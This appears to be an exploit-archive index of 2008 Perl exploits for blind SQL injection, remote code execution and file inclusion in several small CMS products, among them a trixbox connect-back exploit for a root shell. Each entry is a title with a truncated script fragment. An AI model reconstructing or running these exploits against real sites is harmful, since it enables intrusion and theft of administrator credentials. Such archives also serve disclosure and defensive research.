Ultrastats 0.2.142 - players-detail.php Blind SQL Injection

Ultrastats 0.2.142 - players-detail.php Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; ! Discovered.: DNX ! Vendor.....: http://www.shooter-szene.de | http://www.ultrastats.org ! Detected...: 29.06.2008 ! Reported...: 04.07.2008 ! Response...: xx.xx.2008 ! Background.:...

fuzzylime cms 3.01 (polladd.php poll) Remote Code Execution Exploit (pl)

No description provided by source. !/usr/bin/perl newst version Fuzzylime 3.01 Remote Code Execution Credits: real and inphex C:\ perl ye.pl host /path/ :id uid=63676dswrealty gid=888vusers groups=33www-data use Digest::MD5 qwmd5 md5hex md5base64; use LWP::UserAgent; use HTTP::Cookies; use Switch...

Joomla Component n-forms 1.01 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " Mambot Component n-forms Blind SQL Injection Exploit \n"; print " Author:The Moorish :D \n"; print " Greetz:Team-dz,His0k4,x.CJP.x,Kader11000,c02,piRAte DIgitAL\n";...

Ultrastats <= 0.2.142 (players-detail.php) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ====================================================================== Ultrastats = 0.2.142 players-detail.php Blind SQL Injection Exploit ====================================================================== !/usr/bin/perl use...

Fuzzylime CMS 3.01 - poll Remote Code Execution (Perl)

Fuzzylime CMS 3.01 - poll Remote Code Execution Perl !/usr/bin/perl !!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!!!!UPDATED!! after i noticed that there was a problem changing $cmd,i fixed it.this is the result. Fuzzylime 3.01 Remote Code Execution Credits: real and inphex C:...

Joomla Component n-forms 1.01 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= Joomla Component n-forms 1.01 Blind SQL Injection Exploit ========================================================= !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1...

Joomla! Component n-forms 1.01 - Blind SQL Injection

Joomla! Component n-forms 1.01 - Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " Mambot Component n-forms Blind SQL Injection Exploit \n"; print " Author:The Moorish :D \n"; print "...

tritoncms-sql.txt

!/usr/bin/perl -w Triton CMS Pro X-Forwarded-For Blind SQL Injection Admin's username/hash disclosure exploit Benchmark method, so take a coffee and relax Coded by GiReX use LWP::UserAgent; use HTTP::Request; ifnot defined $ARGV0 print "\nUsage: perl $0 host path 1/2\n"; print "Example: perl $0...

cmswebblizzard-sql.txt

/usr/bin/perl |+| Vendor Not Notified |+| Author: Bl@ckbe@rD |+| Discovered On: 10 june 2008 |+| greetz: InjEctOrs , underz0ne crew --//-- -- CMS webBlizzard Blind SQL Injection Exploit -- --//-- Exploit : use strict; use LWP::Simple; print...

auracms-addeditdelete.txt

!/usr/bin/perl k1tk4t Public Security Advisory //////////////////////////////////////////////////////////// AuraCMS = 2.2.2 pagesdata.php Arbitrary Edit/Add/Delete data halaman exploit Vendor : http://www.auracms.org/ Kutu : ./js/pages/pagesdata.php Keterangan : pada berkas pagesdata.php dari awa...

trixbox (langChoice) Local File Inclusion Exploit (connect-back) v2

No description provided by source. !/usr/bin/perl -w Jean-Michel BESNARD [email protected] / LEXSI Audit 2008-07-09 This is an update of the previous exploit. We can now get a root shell, thanks to sudo. perl trixboxfiv2.pl 192.168.1.212 Please listen carefully as our menu option has changed...

SmartPPC Pay Per Click Script (idDirectory) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl -W SmartPPC Pay Per Click Script Blind SQL Injection Exploit File affected: directory.php $idDirectory Vulnerability: Hamtaro Exploit: ka0x ka0x01atgmail.com ka0x@domlabs:$ ./smartppc.pl -u "http://localhost/directory.php?username=&idDirectory=2" ...

Triton CMS Pro (X-Forwarded-For) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Triton CMS Pro X-Forwarded-For Blind SQL Injection Admin's username/hash disclosure exploit Benchmark method, so take a coffee and relax Coded by GiReX use LWP::UserAgent; use HTTP::Request; ifnot defined $ARGV0 print "\nUsage: perl $0 host pat...

Triton CMS Pro 1.06 - 'x-forwarded-for' Blind SQL Injection

!/usr/bin/perl -w Triton CMS Pro X-Forwarded-For Blind SQL Injection Admin's username/hash disclosure exploit Benchmark method, so take a coffee and relax Coded by GiReX use LWP::UserAgent; use HTTP::Request; ifnot defined $ARGV0 print "\nUsage: perl $0 host path 1/2\n"; print "Example: perl $0...

SmartPPC Pay Per Click Script - 'idDirectory' Blind SQL Injection (2)

!/usr/bin/perl -W SmartPPC Pay Per Click Script Blind SQL Injection Exploit File affected: directory.php $idDirectory Vulnerability: Hamtaro Exploit: ka0x ka0x@domlabs:$ ./smartppc.pl -u "http://localhost/directory.php?username=&idDirectory=2" -p Top i Getting default: -T 30 i Getting default: -l...

SmartPPC Pay Per Click Script (idDirectory) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================================= SmartPPC Pay Per Click Script idDirectory Blind SQL Injection Exploit ======================================================================= !/usr/bin/perl -W SmartPP...

SmartPPC Pay Per Click Script - idDirectory Blind SQL Injection (2)

SmartPPC Pay Per Click Script - idDirectory Blind SQL Injection 2 !/usr/bin/perl -W SmartPPC Pay Per Click Script Blind SQL Injection Exploit File affected: directory.php $idDirectory Vulnerability: Hamtaro Exploit: ka0x ka0x@domlabs:$ ./smartppc.pl -u...

Fuzzylime (cms) 3.01 - blog.php Local File Inclusion

Fuzzylime cms 3.01 - blog.php Local File Inclusion source: https://www.securityfocus.com/bid/30121/info 'fuzzylime cms' is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary local script...

Triton CMS Pro 1.06 - x-forwarded-for Blind SQL Injection

Triton CMS Pro 1.06 - x-forwarded-for Blind SQL Injection !/usr/bin/perl -w Triton CMS Pro X-Forwarded-For Blind SQL Injection Admin's username/hash disclosure exploit Benchmark method, so take a coffee and relax Coded by GiReX use LWP::UserAgent; use HTTP::Request; ifnot defined $ARGV0 print...

phPortal 1.2 Multiple Remote File Inclusions Exploit

Exploit for unknown platform in category web applications ==================================================== phPortal 1.2 Multiple Remote File Inclusions Exploit ==================================================== !/usr/bin/perl phportal1.2Beta gunaysoft.php Remote File Include Vulnerability...